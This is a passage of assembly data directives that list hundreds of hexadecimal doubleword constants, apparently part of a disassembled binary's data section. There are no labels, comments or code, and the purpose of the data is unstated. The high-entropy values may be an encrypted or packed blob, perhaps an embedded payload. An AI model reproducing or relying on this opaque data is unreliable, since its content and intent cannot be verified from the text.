867CF1F5h, 9800AC02h, 4EF3A028h dd 0FBBE4FE3h, 34D82BF1h, 6D3D659Dh, 0BF4A1B56h, 0A0661C96h dd 19E24140h, 9D2A2468h, 0ABDB438Eh, 2C6787C5h, 0F653BF6Fh dd 8CE3FFAAh, 9228F8B9h, 29D22CD1h, 83FBC74Dh, 63D266BAh dd 0C931EF57h, 0C9975Ch, 73741774h, 62E72C69h, 8A7AF69Bh dd 95822B50h, 806928B0h, 0A771E5EAh, 837BEC3Eh, 688093Ch dd 5053921Ah, 0DDD6EDDCh, 0B5FB036Eh, 5513F5CBh, 9455022Ch dd 0A33EF1C5h, 0C4E8BDA6h, 77D1E72h, 9B827882h, 7EA8ADA7h dd 6A4B1163h, 0AB6D2374h, 2E285301h, 7629F1AAh, 725428F8h dd 8F3375B1h, 9C84701Ch, 0DC2C15FEh, 4102A9D2h, 4A04543h dd 2C04210Ch, 1C41A6FEh, 85307D87h, 7D3FDA94h, 0C9DD84BBh dd 0A65DFD43h, 2ADB8EEEh, 0E4F8A265h, 0C5829109h, 7A7C33E6h dd 7EE96E27h, 510B2902h, 0A2C96792h, 0F6E5DEBFh, 683E4FDAh dd 5349432Ah, 0D42C7EEFh, 0F77067A0h, 5C6305FDh, 0FE5EE47Bh dd 0E29B14E2h, 0A8E15CFCh, 43F95091h, 3FE40899h, 8D0BC5C1h dd 87DCB6C2h, 8678AA29h, 5F7EC41Eh, 0AE52EB93h, 0AFEB18A7h dd 5B0C7E0Eh, 66FC7C8Eh, 84639509h, 0FCA795B0h, 3B0A72Ch dd 59D04DA5h, 3F0CAA79h, 1C390ED2h, 7CDE5B66h, 0C520F6E0h dd 2DF86B0h, 9F592536h, 2B69FDAAh, 7B123047h, 0E1C0FFE9h dd 1AE148D3h, 0B6EE5FECh, 0F2066949h, 3D8B0649h, 0C8193DB3h dd 0B40113B7h, 7AB6A624h, 5FF685A9h, 9747A39Fh, 90A1A4E7h dd 0FECB4273h, 0E1EC0FC9h, 0ADFD72Bh, 47F52FFEh, 0B600CC81h dd 0EC2D8A3Eh, 0E11CEAAEh, 80D9EE0Fh, 9DD45AC1h, 2D9D37E5h dd 45C3C92Bh, 0B315D028h, 0B1271E2Fh, 6D5A8C0Ah, 0EFA8EB13h dd 0E5F836B6h, 43F73AE2h, 387575A7h, 0A69C78BDh, 83FC0EEDh dd 8123EDF9h, 9EBF81D9h, 0E4D7B655h, 0E508832Eh, 8B6D1AF5h dd 6D32177h, 591006A2h, 365FEF9h, 1B7FA408h, 81EA3AA5h dd 190810AFh, 1DC54B18h, 0A0221CECh, 0E01F1C2Eh, 9A29CA4Fh dd 29765853h, 64A8A91Dh, 99858D4Ch, 0F0FD1A72h, 4297ACDDh dd 0F02F0AC2h, 87704F5h, 0F4DD85ABh, 7E50F64h, 85F401A2h dd 784CB730h, 692DDAE5h, 0F06EB0BEh, 2AE72D16h, 687F3E7Dh dd 0D8A1EF37h, 99410F36h, 55F223DBh, 6DF8D938h, 0D15DDF6Ch dd 0D78B1499h, 0F08370A3h, 0E584B31Fh, 0E33F26BCh, 0B07C62E5h dd 0D914CE22h, 3E215EECh, 970BA0AAh, 0DB157552h, 5CD90A7Ah dd 6101004Fh, 0E2314341h, 0EA273F1h, 0D3F5DDF9h, 6D988F03h dd 918C9A40h, 61893266h, 0D059BEC6h, 73D94534h, 0CFCDCAAFh dd 0F59BC7FAh, 6C3D5B71h, 0CEC27A2Fh, 393D140h, 7AD55044h dd 0EC7AEE96h, 0EF1E4Ch, 68ADA039h, 0D0E7666Eh, 0E3C83D6Ah dd 68558F15h, 7FED93F2h, 2734E5F8h, 0C06F71CBh, 334282A0h dd 69F01DA5h, 3AC413E7h, 5BA151BDh, 256A33F1h, 5259831Ah dd 0F492E584h, 9F6943E5h, 3EE47C7Dh, 1412786Bh, 0A35D2C95h dd 0BFF26A10h, 58DC4F06h, 32928BD3h, 8A09C558h, 1F4C565h dd 17AE4C91h, 6E949F52h, 845D9EF1h, 2145CB70h, 0A079E642h dd 42992CADh, 39DEEC6h, 0E44C380Bh, 3A7FC1Dh, 0E6B4941Ah dd 0DC4370B4h, 0D937FC60h, 0A3BBEF6Bh, 6992B351h, 217D7239h dd 0E3AC821Eh, 0DA32A9EBh, 0F0C76796h, 42355583h, 2DAA6899h dd 45154EDDh, 861D0BCFh, 56EAD984h, 0E7815F36h, 6C2296C6h dd 0E7B20CB9h, 16D87ECh, 0C4BC683h, 8EE08C95h, 5B3351C8h dd 29A2ABC1h, 0BE0D4378h, 0FF0DF005h, 93DF4DC3h, 0F90F9F45h dd 3ED5DC89h, 7722C98Bh, 5A38CA6Bh, 0B4289E52h, 601694C6h dd 7AE032CDh, 4A266ED2h, 873C31F2h, 0CBBE47D1h, 37C831DBh dd 6E6F8DDEh, 0BE9E2BAFh, 27C18F93h, 91B0C9A1h, 0B3FF358Fh dd 7660D8ACh, 0D20AB047h, 289F0F0h, 82C441AEh, 0D36F2BAAh dd 0DC0FD0CFh, 0F028C6B4h, 43D15D62h, 28E63D19h, 1F273F4Eh dd 8907F668h, 3F98FAEAh, 7BE0C7B5h, 6368881h, 7EC5EF11h dd 689ED1FEh, 72BE7BF1h, 0F8B23C3Fh, 62D7D686h, 82304A63h dd 371489BFh, 73ED4255h, 4C71904Eh, 0D63B6D87h, 0E38D37A7h dd 91B8C79Ah, 393EEAD4h, 65CDF697h, 993D16C6h, 3EF1B97Bh dd 0CF4F3BAAh, 8691CF3Dh, 27E42F39h, 704419C8h, 50B8446h dd 71EC3EA7h, 6EA8A228h, 14CB2424h, 0AB6F53B3h, 0B79C2FA0h dd 8F8A26C9h, 92A594Fh, 0DC058C53h, 31C63DCCh, 2A0DA084h dd 517DFDDEh, 0BFB90E3Ch, 27037B72h, 929C38B4h, 77F8358Ch dd 3EEDDEA8h, 0A07EF7C6h, 28B081C6h, 47E5F860h, 3FCC51C8h dd 34AE5FCAh, 0F8CF5371h, 0C4E6F4F9h, 0E9F53B23h, 8ED46FC8h dd 0F9BC1C70h, 0BFF7CABCh, 0A5306B44h, 0E8EA640Ch, 94A26B1Bh dd 1C5375C0h, 733B9950h, 1FF62FF6h, 1C40DBF8h, 8823830Fh dd 3BB9CBEEh, 2D1B8271h, 373D7198h, 0E981C922h, 851BCDC3h dd 3C343B22h, 767C5B7Eh, 12C02E21h, 6B956027h, 4A4160A4h dd 3D3882A1h, 6564B2C8h, 31F7C413h, 0A6A56E09h, 913D5C68h dd 0CB52B206h, 7E941B82h, 0A21B87BBh, 8E07242Eh, 4C187C07h dd 0B5789EF2h, 99C28C61h, 0A603BFD6h, 6456558Ch, 10D122DBh dd 528E2837h, 237BAEAAh, 820B90A7h, 73B8D0E3h, 0F4EE9F0Eh dd 3616BEAFh, 103102BCh, 8375A309h, 417858A8h, 79186950h dd 94A0AEDCh, 0C92862ECh, 4D17453Ah, 0D3537513h, 0A8199A53h dd 0ED1FE96Ch, 4B1D787Dh, 0BD3EF741h, 5CEAB21Fh, 84B5D3A6h dd 1BAD593Bh, 0BFF8DD6h, 0A69EAEDAh, 0D71A9529h, 2F629878h dd 0C1277964h, 12BBFD13h, 6A7A3738h, 0CE44B13Ch, 563E510Fh dd 349D7EACh, 87572FBDh, 0EBC06080h, 9C59CF01h, 29FE972Ch dd 73AFA1D2h, 8A7C31B5h, 0D1DAFA8Ch, 3F762C5Ch, 6956C174h dd 9ECE6BE8h, 0B567A233h, 5988D9E8h, 0F89D8D8Fh, 9AF16F0Ah dd 8967A339h, 0C6245ADCh, 0E1CEE119h, 57AE9519h, 9A1131FDh dd 0D455A81Fh, 72A4962Fh, 0B6F35C41h, 0B8DFD7D3h, 267BE4B0h dd 0EEFF8D64h, 0C484E50Ah, 8F70E7E5h, 0A644F9C3h, 6E12DDB3h dd 0E205A371h, 0BD4AD4DBh, 90A78BA8h, 35989FDDh, 0AC2D052Ah dd 935EB281h, 0D7ADB550h, 0B8E07F1Dh, 66DAE7B3h, 0B150CE18h dd 368F4FA6h, 0EAB41802h, 0F4E5E1Bh, 28B249AFh, 703F315h dd 0E3F396h, 3D070DB6h, 5610042h, 0A1BEFC06h, 574E775Fh dd 3D2EDEA8h, 72302187h, 9A1CEB5h, 0CC84E197h, 2AC84E4Ah dd 0A60A6DD5h, 824E3FEFh, 0C5FFECA3h, 46F593DAh, 1697FCD5h dd 698F8EEDh, 0DDB7D529h, 70F0FCE0h, 54F0FCCCh, 0F2AE6F60h dd 86D51D85h, 0B6CDDC54h, 448562F6h, 905CA5BCh, 760F545h dd 0FCE6F123h, 0AD8728A3h dd 0B34A37C4h, 0BC771466h, 829DC4D8h, 0D0C98D96h, 58D862FCh dd 51755DFh, 8C5C1231h, 0DE09E03Eh, 96B0C37Dh, 63C79303h dd 549689FBh, 0F39EEB85h, 0C4FBF27h, 8ACC1C79h, 6F19BF64h dd 0D75CEAF9h, 0C7F5E168h, 0F22C3328h, 922B146Ch, 9DF7251Ch dd 240D8934h, 0E55043CCh, 0A5E46684h, 0BFE84AEBh, 0AF35D612h dd 0CC1588B7h, 0F65F31B1h, 0CCA9E5BAh, 0DFCD3A4Dh, 61801D49h dd 6C5BA6E8h, 353B5ECEh, 146A714Dh, 0FEA56346h, 0E04D0A03h dd 6DA0F1F7h, 657D77BEh, 0C74DD1B2h, 8756FE6Ah, 6113FF75h dd 0E5E6ED4Ah, 0E9E52905h, 34BA3A45h, 429C767Eh, 0C5E7516Ah dd 4EAAE136h, 0A6CD0188h, 0CC6B7F8Bh, 69973914h, 0B5917FA5h dd 0F2D7748Fh, 297CD473h, 2A8DF8ACh, 185919E5h, 0AC37D99h dd 0FAE9EBE9h, 6C3A75EDh, 2C0805D8h, 0B93201E5h, 0C0F235Eh dd 0B3752DF3h, 4AAA2DD0h, 2589715Ch, 0AFA76E0h, 0B95BB0h dd 610F3052h, 253ECDE3h, 274A700Dh, 0C05B37AAh, 5F5F5077h dd 0C4FF405Fh, 971692FCh, 0E40B4EEh, 0A32923FBh, 0C5CA39AEh dd 0FE570494h, 2E85B617h, 264A7AACh, 9A5D0585h, 249241CBh dd 22EB9FA0h, 6D471191h, 6D762F1Dh, 48773027h, 0F24C88ACh dd 0AD00BEDBh, 2056F248h, 31A5784h, 9830E92Ch, 25575EB3h dd 36304D0Ah, 104AF23Fh, 0BB237580h, 91D5F8D1h, 0F4924A6Ch dd 7F93CB65h, 87FA5191h, 0DA92FCCEh, 0FF86C79Dh, 11C1A3BFh dd 8F2A15DEh, 0C0ADA3Ch, 0F02D0C41h, 0DC0357C3h, 0BA1D410Ah dd 6D76B1C7h, 4BC94243h, 0E573E4BDh, 0B067A66Bh, 0A4F7D01Dh dd 0C5A4D1F3h, 3C2F5130h, 9E186B4Eh, 5713E620h, 312F6484h dd 5AED4D02h, 0E4FC8CD6h, 740746E0h, 49F6CBh, 0A7A680A0h dd 13975B6Ch, 0B187051h, 34C88280h, 18FC679Ah, 784CFAA0h dd 0A58F73B0h, 9EF90C67h, 0EF7F48B5h, 936BE061h, 974F4DBFh dd 0E017DA16h, 5BEF1E0h, 0E3AC3EBFh, 15CE811Bh, 5676B4A4h dd 0A09F368Bh, 79C104B1h, 17BBAB61h, 0ED7647DBh, 0A6C6A573h dd 0B505D0BBh, 0A4DC6A2Dh, 1ED1B15h, 51597B0h, 99547DF2h dd 0AE58DBE6h, 4F160813h, 26D39173h, 125AF1F5h, 0AE415909h dd 907B6CE3h, 0E237B2B7h, 6573FF50h, 17B449CAh, 10785188h dd 5DE74A5Fh, 1E08E5A0h, 0AEDCF657h, 0EFDDDD3Fh, 876FED4Ah dd 0F015C90h, 0B47DC7F8h, 6012ECF7h, 0E1DA149Eh, 0F9BBDB40h dd 4060F54Bh, 4C76AC2Ch, 97DA993Dh, 835A9805h, 6B0D9399h dd 2A8DAC92h, 0AD7E284Dh, 0D0B37B5Fh, 9BD9331Fh, 0E62BF2Dh dd 5862136Dh, 36BF3FEAh, 0D6670C50h, 0E0F32D17h, 96104508h dd 0E3AA6AE2h, 901BA3A1h, 0B9D04988h, 0AF68AC03h, 0AAF2BFF8h dd 0BA208267h, 56D4E48Dh, 663D10F9h, 68CC408Bh, 0D7A41849h dd 1A18464Bh, 0C8F9F84Dh, 0CA1447B9h, 0DA6C1ECCh, 0A91E01C0h dd 0B19CD081h, 9E68BE4Ah, 8BBA1EB9h, 16D61DBEh, 63BAAB8Dh dd 0CCC2C0D4h, 0A2898835h, 2D30937Dh, 0BEEC2650h, 5A19A08Bh dd 9EBF3499h, 20C20267h, 630E9D07h, 0AE4B321Fh, 9C78050Ah dd 96A74DA5h, 3CDF696Ch, 95EE6F27h, 0AA52814Dh, 33F7B03Ah dd 70CA782h, 0B175E8CBh, 42E63F10h, 18A05DF8h, 0C40C9464h dd 2BF5793Ah, 1BFF35F5h, 0CBD5FB1Dh, 0B51C7660h, 0FF698F07h dd 0DAEF1FDEh, 2576973Dh, 18455B6Eh, 72815FABh, 1E33CBF9h dd 0A231EB17h, 84E803A4h, 0E8CC8709h, 24519B1h, 9C3204FCh dd 69C2887Ah, 0A8339Bh, 97313FAAh, 0F1AFFE77h, 0B091570Bh dd 83802B06h, 3AA1BD92h, 3D0FFEB8h, 6CFE0117h, 799E5014h dd 4C129AE4h, 0EBDF047h, 3D0DA6EBh, 0F2B0B113h, 4DDCAD0Eh dd 0D3EEEB16h, 46EF323Eh, 0E6971CF7h, 45456436h, 3E1F2951h dd 3FC95E47h, 12273DABh, 0DF6812F3h, 0C4FE01A5h, 0ED4A9766h dd 26A82094h, 107C773Eh, 0EFB40BAh, 77C84ED6h, 0B884AB0Ah dd 12CCA35Eh, 829ADE39h, 217E023h, 912D0CACh, 0AEAD8A0Dh dd 0B0B379BDh, 51521136h, 0F8F2F75h, 40020AA7h, 0D39AB297h dd 18638ECFh, 0F948AC9Dh, 0D4A3B354h, 0E08089E2h, 5A341404h dd 5F210EB3h, 0D7220B86h, 0B4433C63h, 94ABBD76h, 80C9B713h dd 0C788E4C6h, 15B35630h, 238C5BD6h, 0F8D6C614h, 2C337669h dd 0C84823EBh, 5BAF2DDh, 0F31CA142h, 0DEF48C31h, 0F7F3C281h dd 0AA26C779h, 76DD7BD2h, 0DF793103h, 4BAC9093h, 82B9DBFDh dd 74505B31h, 39F30160h, 730A3C74h, 8FEDE332h, 187EAC69h dd 3684F6FBh, 0AD945C37h, 44478995h, 8B62498Ah, 27587666h dd 0C9A25CB2h, 615C607Eh, 0AF4D50Eh, 0EB90C715h, 6510BB7Eh dd 8DD90A8Fh, 5518DB07h, 0A035BC7Fh, 0DECEC2D2h, 2E84008Fh dd 3FABF852h, 97D78755h, 2F4E99Dh, 0F1683513h, 0B47573B1h dd 670EFBBh, 0CA5ED3C1h, 0B7A376D3h, 41CD970Bh, 42AFD59Ah dd 0ABA3DD13h, 61B88172h, 9D6C4CCBh, 0D9BCCEC4h, 0CDE83532h dd 0C4ABEA08h, 0B6B41112h, 2F1F61C3h, 96F7D485h, 0B1BB3440h dd 448D7DCh, 664EDB9Bh, 78A0A1D9h, 2A38FF49h, 573CCDAEh dd 5D08A9A2h, 0FFF0D28Ch, 1811C936h, 374F2288h, 0A40DC98Ch dd 323EC91h, 0A5E96C4Eh, 819B485Ah, 0C3B0107Fh, 63A8DB68h dd 89BA5A5Bh, 9B12B4ADh, 7A250A8Eh, 8E108CA2h, 0CDBCB3D7h dd 85A19080h, 603A3EBFh, 84ED05Eh, 0D94E94DFh, 35C608B4h dd 0F3D2E192h, 48C49D51h, 8FD5D6F3h, 142293BFh, 0D362F415h dd 0CBF9D657h, 1EBB58C7h, 37EFAAA8h, 299DB9D0h, 67E162DEh dd 0AE57AD11h, 1B6426AFh, 3028E825h, 5F5476CFh, 6D1DB1A4h dd 2D6AA156h, 0AD38CBEFh, 0FBA0D48Eh, 6D797D1Eh, 0FB808982h dd 53DF5554h, 0D24020D0h, 2D71A378h, 97DF1F9Bh, 7EC11F68h dd 0A234B2E0h, 0B3701575h, 385CC14h, 887AF72h, 38CCD481h dd 0D5504215h, 9ACFFD3Dh, 0E69FEBE6h, 0EAA63C1Ah, 0AE9292A4h dd 46840797h, 0F7A76436h, 2C2FB5CAh, 307F4C27h, 0BBD9F41Eh dd 0F7D362E1h, 9D62F86h, 30BB2393h, 0BC782D9Dh, 829C16EEh dd 7303B814h, 989903D1h, 1A9632A6h, 0FFE672C5h, 0C169F7BFh dd 0EE634642h, 39DC71B0h, 93A37D79h, 0C0BE10C1h, 2489BA64h dd 0DA31C53Eh, 44143EAh, 0E5B958E8h, 599BEB3Eh, 3358BB33h dd 7C607858h, 86CD92C4h, 0DBE577FCh, 6A901C00h, 29E1BC5h dd 430F48CEh, 906A5A9Eh, 0B9774827h, 277B5BF0h, 0F7D88563h dd 1E33265Bh, 0BC514631h, 0E9AE5270h, 0C3618465h, 0CDBD5FFDh dd 4645BD98h, 1CC9BBF3h, 8E568DECh, 7867AF36h, 0A6A9016h dd 9DBF1205h, 0CF9FA8BCh, 660BD3BEh, 80C0F1A7h, 0D19C311Eh dd 1F095124h, 3926DC54h, 5BC98ADCh, 491449E8h, 5998065Bh dd 0A7FA09CAh, 0EE730F82h, 7F4CFCE8h, 67D2568Ch, 8761670Eh dd 2B600852h, 984B37E5h, 69FCBBBFh, 8A80C9BDh, 0DFDED56Eh dd 683D2283h, 9A781C0Eh, 8AAF05Dh, 6A01514h, 0E7EF35B1h dd 0AE5052D1h, 0A4D5C560h, 82F561BEh, 0EBF55976h, 0EDA9D448h dd 7CDF0F39h, 0AD05F03h, 9E10E1EBh, 0C5AF930Ah, 2C924C58h dd 72088E4Ah, 742398FBh, 0CBC30DA9h, 192ECD92h, 0BA370ABAh dd 0FD3F54D0h, 87B69970h, 0A651A474h, 904836E4h, 72A9BF90h dd 0BB7493A9h, 32038B83h, 0B8846351h, 0B89737E5h, 0AE45CFDDh dd 0B7C0AB55h, 0D4BB4592h, 6B9D33Fh, 0A9B59B5Fh, 0DA2B17CFh dd 5DC05663h, 2F13583Ch, 2356D2A9h, 72B45BB0h, 0E7C3AC7Bh dd 0E40BB2BEh, 5E0FCC2Fh, 0D30921D9h, 0D4D8B1Fh, 13482117h dd 6AEFACA1h, 0DD4401E9h dd 990DD776h, 293A2AEFh, 0DC40C62Dh, 0BB14AD77h, 8C39CFBAh dd 0A13A406Eh, 0B31F4159h, 2CCDED3Fh, 5EF63056h, 0A95F92E5h dd 0A08BD3B8h, 8E1354BCh, 125BD81Eh, 9D0F7F8Bh, 0EB768F8h dd 0BED7C6D6h, 63B2C9CCh, 0B4F6598Ch, 1BFC273Ch, 0C4E79E30h dd 0E315B079h, 19406B26h, 8C0B4069h, 77E3EA3Ch, 0D17865A9h dd 73EADAEh, 0E4331AA5h, 50BF8C32h, 71E8425Fh, 0FB59AC4Fh dd 0FC4AACC0h, 0AD07818Ah, 973B09Dh, 0B9A07961h, 0DF8FF596h dd 0A0211E9h, 9A0AFB9Ch, 4D6F76DFh, 6940025Fh, 0B4D35E70h dd 0F69E95E1h, 9758DA7Fh, 9162FB35h, 73C15D7Dh, 0C1860022h dd 0ECACF161h, 7BED7074h, 9CEC0DCFh, 4FE206F3h, 501AF8B8h dd 8A2B645Eh, 71A8231Bh, 3F851761h, 93A115DDh, 0A6A70CB4h dd 7216B8B4h, 8620DFDEh, 0C49E95B0h, 5A8EE095h, 0AC6EBCA1h dd 59E10469h, 0A694B428h, 6C9A026Dh, 444ED50Ah, 9560ACF4h dd 0FE28DF20h, 0F031DD40h, 0BA799E3h, 0BFC87B3Bh, 0DCC8C0F6h dd 0ACA02617h, 609E7E36h, 0ED33EBD4h, 0B9F94B26h, 9C4A88F8h dd 376901E4h, 0B2D6A04Ch, 6D4ED0D3h, 0A7D66CD3h, 3A407455h dd 1AF0E260h, 7235A436h, 0FBD0BA33h, 31123711h, 0A1FD973Eh dd 0B0C371E7h, 0EB4A3F70h, 6320D13Fh, 0FB04EE15h, 2E8620A7h dd 0B08BB08Bh, 8E911678h, 15C23DFDh, 3CEAD4B5h, 542C84C4h dd 0A30F7B1h, 91D60161h, 6DA085E6h, 0F643298Ah, 60E4DDF5h dd 0DC1139FEh, 0DBD61FA6h, 0E3096B38h, 542C7BE4h, 7B429A06h dd 4350566Eh, 0D076C51Ah, 0D2486D4Ch, 0C0F7FF46h, 8B4CF391h dd 7C8D0E0Eh, 0A1C57249h, 0EAC9EC6Ch, 639FA973h, 0DB9F7C0h dd 62DE9BEBh, 0B0017A85h, 0FB4E0E69h, 6A54BBE3h, 4DFCC369h dd 1F14A38Fh, 6FC4BF0Eh, 893E70A6h, 75272CF0h, 521E7EEEh dd 8F62AD83h, 4597D55h, 7441C9E9h, 0C3EF8DC6h, 4579DF1Ah dd 90610CC7h, 73318101h, 0DCF6D12h, 6A236DF4h, 75061136h dd 8793CA8Dh, 8DDBD3EFh, 0AB6FFCE0h, 9841C09Ah, 843272D8h dd 0E2537F0Ah, 0EED84DD4h, 8A9CF854h, 0F28D866Bh, 0B39AFCB9h dd 0C118EBB2h, 714CD44h, 4EA4714Ah, 0A72F8B0Dh, 4BDFB7DCh dd 0A938EC61h, 56C3283Dh, 0FD6707AFh, 993D6280h, 2BC025ADh dd 5534EBDAh, 41981D53h, 0B16B6405h, 0A467CB8h, 6796167Dh dd 0EB94BCE2h, 7E142B2Ah, 5D6857E8h, 57802CA7h, 5333FE34h dd 69B2FC07h, 6C4C5AB3h, 2687E464h, 4FB5F69Ah, 0B9F048DFh dd 0DA4C4267h, 7C37C2AFh, 3E8DD242h, 624EC618h, 9590AFF8h dd 3F56D053h, 7E340FB8h, 40D39679h, 0B819584Ch, 4EE30531h dd 0B6AD2B5Ah, 0F5694CA9h, 6292CB6Eh, 73AB69F9h, 0FA317F36h dd 30698FA0h, 2CABEEE7h, 1C9C83D4h, 0E738F6C9h, 79A9231Ah dd 8D34667Dh, 48A8CD9Ch, 0EB81D54Bh, 893A5C00h, 472FCF9Ah dd 0E5DC35F5h, 98B48398h, 1F080789h, 0D65716CCh, 0FB3DE950h dd 0AFA83367h, 716A5EA6h, 8F18D4Fh, 0B32C7157h, 28241FE2h dd 0A63F1E3Bh, 9B44AE40h, 6AC8A6FEh, 8B6ACA63h, 1FA21555h dd 0F29EB991h, 6E88F21Fh, 0CF76B31Ch, 0CF6ECD07h, 26C5976Dh dd 0AA367902h, 9731C74Ah, 0B6CE0A2h, 0CA23F9F0h, 79B51FA4h dd 0DCBD0FD5h, 4212E74Fh, 7FB41433h, 6DCD0751h, 0A9D91F50h dd 1DABC0C8h, 646FC785h, 0B074F597h, 0C2B5AFEh, 0ED6A3941h dd 0AADB7BAh, 29038DADh, 9750D182h, 0F98D34EAh, 280A01A2h dd 7DBC6D2Eh, 0E3876AE0h, 5B1831D4h, 9C760ABh, 96888D93h dd 55A5FB2Eh, 1F647A9Ah, 0B036EDE5h, 6370D606h, 4B718251h dd 0BC11593Dh, 58523237h, 23CE0996h, 0BCAFBC43h, 71F31142h dd 2A5F0AF9h, 89340600h, 4F544452h, 0A44A385Fh, 7415BB98h dd 826A1729h, 5BB04FBEh, 598CFBDEh, 9FE7D3C0h, 64721177h dd 0A3370A73h, 4970717Ch, 801438F5h, 805BD363h, 7E3573EDh dd 681F698Bh, 0D8F5BB95h, 89186E66h, 0D7024A8Ch, 4DEC1C25h dd 2B4FD972h, 6936F9DFh, 432D24EBh, 46FF6E27h, 7CB3E96Bh dd 4709028Bh, 59D81531h, 4B89D1DDh, 0BCED5F46h, 5156C489h dd 7476639Fh, 0E6831C9Eh, 912C0D9h, 16C75AEFh, 45C23F55h dd 181DD83Ah, 0A7A04613h, 87B4A64Dh, 3BF1CF8Fh, 12F41ABBh dd 0ACAF568Dh, 0A8F9E828h, 123A9CD3h, 319C8E5Eh, 0F4DD7CD8h dd 3814C989h, 2D90D18h, 0AB39AE98h, 0BA2D5B88h, 0D27E464Ah dd 24816E95h, 0E212220Dh, 0A0457435h, 3505ACAFh, 0DD748438h dd 82C4D8F7h, 93F41636h, 0D3A1F3ADh, 0CEA3B741h, 0D50344E3h dd 55FB512Eh, 9196DB23h, 620A3F67h, 33044C7Dh, 4AF37CF4h dd 13386A40h, 3BA51636h, 0A81ACC9Dh, 0B5ADB86Dh, 0C3171FA9h dd 21930F8Ah, 7D03A8A1h, 4DDA78D7h, 31AB6924h, 0EB5D295Eh dd 21D2D541h, 2DC68566h, 3485FC92h, 735EF47Ah, 0FEB00CF5h dd 4AC3C686h, 0D25B596Ch, 0FF17D96Bh, 627075D7h, 61DD6913h dd 81764708h, 94A622C5h, 724B5CD9h, 435FAB38h, 0DB5466ECh dd 0C4173D1Bh, 967B6010h, 0B635A1A4h, 0B4DA721h, 10EB1BCBh dd 0B64AFBB2h, 0EF49B394h, 5361EAC3h, 8525CD62h, 1EEE86FEh dd 853F85AEh, 0BBD7D67Ch, 8D0C288Dh, 3A3E6736h, 0B880F544h dd 0C3462033h, 972F529Dh, 3D2F6DEFh, 0E76FCDAAh, 9AB883E3h dd 0ECAF9DA2h, 1ECCCB57h, 260D8D08h, 4C048FB6h, 90470DA5h dd 9FB17CBFh, 0B02F853Dh, 4E2EC3A8h, 0C1DD7853h, 3A29A134h dd 0F4AF2565h, 689C228Fh, 96D8FB5Eh, 79EDC857h, 0DDF93887h dd 6D1229F9h, 217F16C9h, 2852CD49h, 595FD836h, 1E612464h dd 0C126EC65h, 889045F0h, 0CF206F4Bh, 42CE83h, 3BAFB388h dd 0B68B83A7h, 29A1FEBDh, 46629AE9h, 73A743CAh, 0BF54ED17h dd 0E5BA645Ah, 9484BA82h, 3286A443h, 0CE2BCCB3h, 0B9937BA6h dd 0F847F4E3h, 20E0821Bh, 17FA03D0h, 1F36EE7Ah, 4986D9EDh dd 60D7985Bh, 0CAE06FCAh, 3CB87BC0h, 8E023489h, 41B1150h dd 1DF442D9h, 135DDA5Eh, 0E34AACDEh, 42019E21h, 0F50018CDh dd 0F91871C0h, 0FB328F29h, 6F926D62h, 0F2ED2501h, 5375FCBFh dd 8D2506Eh, 5FD092FDh, 0AD3A22BDh, 0D023DA0h, 90B570CEh dd 0D8DC477Bh, 0F36304E7h, 0EDA7DC71h, 68CC9AA5h, 5E490DF7h dd 6A402451h, 1C7BE1C1h, 0A156B9B7h, 865F5574h, 7810DE10h dd 94D4C342h, 5E58A08Bh, 0EABADF8Ah, 0E5755D0Fh, 71FD1D6h dd 476B9C6Eh, 87EE05B6h, 0CC2EBCC3h, 0ADB4A7CAh, 0B9ADE4BCh dd 177C41F8h, 0B9DAFFDEh, 16643516h, 7C72AF98h, 410A225Dh dd 380A5716h, 0EACF595Ch, 8E1F93B5h, 6D16F7BFh, 0F49BD217h dd 51ED7C64h, 1562E18h, 3758DCCCh, 94B1492h, 5460AEB4h dd 9DE90822h, 0E4C0CB4Eh, 7C0EDAFCh, 6A1596D0h, 5797A562h dd 0D617D85Ah, 6A8E50E1h, 3AF3512Dh, 108EE475h, 143382E2h dd 0C0BAE812h, 55CB2151h, 0A219F28Eh, 38774C25h, 1A2F96B3h dd 0D25C8153h, 8906F5DEh, 0D661B187h, 0CBA41122h, 29CDFD8Bh dd 0D91F7AD2h, 0B707785h, 2762262Ah, 1DD69CE7h, 0D5CD5AE2h dd 3F747B74h, 0F3AF5371h, 24817D79h, 539AE0E2h, 0EF7CB196h dd 81CB1CA8h, 4EE1F156h, 74CB7EF6h, 118172D2h, 8405DB3Fh dd 0FCD0A17h, 0F7901183h, 4F28EE2Ah, 0C993916Bh, 4FBEA4D6h dd 74310366h, 0DDFB0347h, 931281BDh, 0D259E5C5h, 42F68353h dd 903D421Eh, 5BBC96DDh, 0EDE9594Eh, 20798BE1h, 901C1541h dd 83AF73E5h, 0D01F93CCh, 0EDA1965Fh, 0B127FB59h, 95D8F0BBh dd 0FE2BDF88h, 5B2C6159h dd 323EC4CCh, 8FEE800Dh, 244D69Dh, 0D55AFA09h, 6810649h dd 9F225D0Dh, 0FC373637h, 33F018AAh, 1ABBD753h, 19BD52DBh dd 4AEEC89Eh, 20F73236h, 31B5373Fh, 39874DBDh, 5AE03463h dd 3AD68520h, 8C217F94h, 0B365A2A0h, 7BBDEAD1h, 1000FE15h dd 5F51C59Ch, 7D8429AFh, 0F30D640Ah, 0E5A3EEABh, 0ACB5A06Bh dd 9E9FA57Eh, 0B80DF64Ch, 7F775371h, 0C995465h, 57C3D55Ch dd 0D86FC009h, 4EC63C91h, 39D9ADA1h, 7F5A9CCFh, 55EC1194h dd 0B8E12990h, 6B7201BDh, 40147C9Eh, 0BF3B761Dh, 9F19D566h dd 0FC7CF014h, 0C35C04B9h, 9C412E2Eh, 0B011613h, 0E68DA017h dd 6B236EEFh, 3BC95E49h, 0EC9E53FDh, 0BD2DF0Ch, 0ECF9FCA9h dd 22467D05h, 33383FF4h, 20FE9F0Eh, 6BE6189Dh, 0F37303EAh dd 0A602E22Fh, 0DB9B5830h, 0C2A99363h, 538A038Bh, 943F9ADAh dd 0BA4D83B3h, 0DE3CFB90h, 284808B3h, 0CAD39C9Dh, 0DE43293h dd 361CF59h, 7EE154D7h, 41410496h, 3841FEAEh, 619B21A0h dd 2BED53FBh, 657232Eh, 8FDE9171h, 0F8379E9Ah, 0B739FD1h dd 17B2D4CBh, 0CCE9507Ch, 856C0175h, 21E2B97Dh, 86C8A852h dd 0B14C1886h, 77509250h, 0A51B9201h, 0C8576F96h, 0A900CB5Dh dd 0DB1436AFh, 0BD64A480h, 0F2F1E1C8h, 6FB20BF7h, 95DF5EC4h dd 0CBC536B5h, 84C8F7A4h, 0FD665222h, 57F2368Fh, 0B6210C51h dd 291AFEE3h, 6B8BF3Eh, 1F374E23h, 0C1BDD0BCh, 143C5733h dd 0BC809BCFh, 8A264793h, 0E9834A18h, 0C56AEC1Eh, 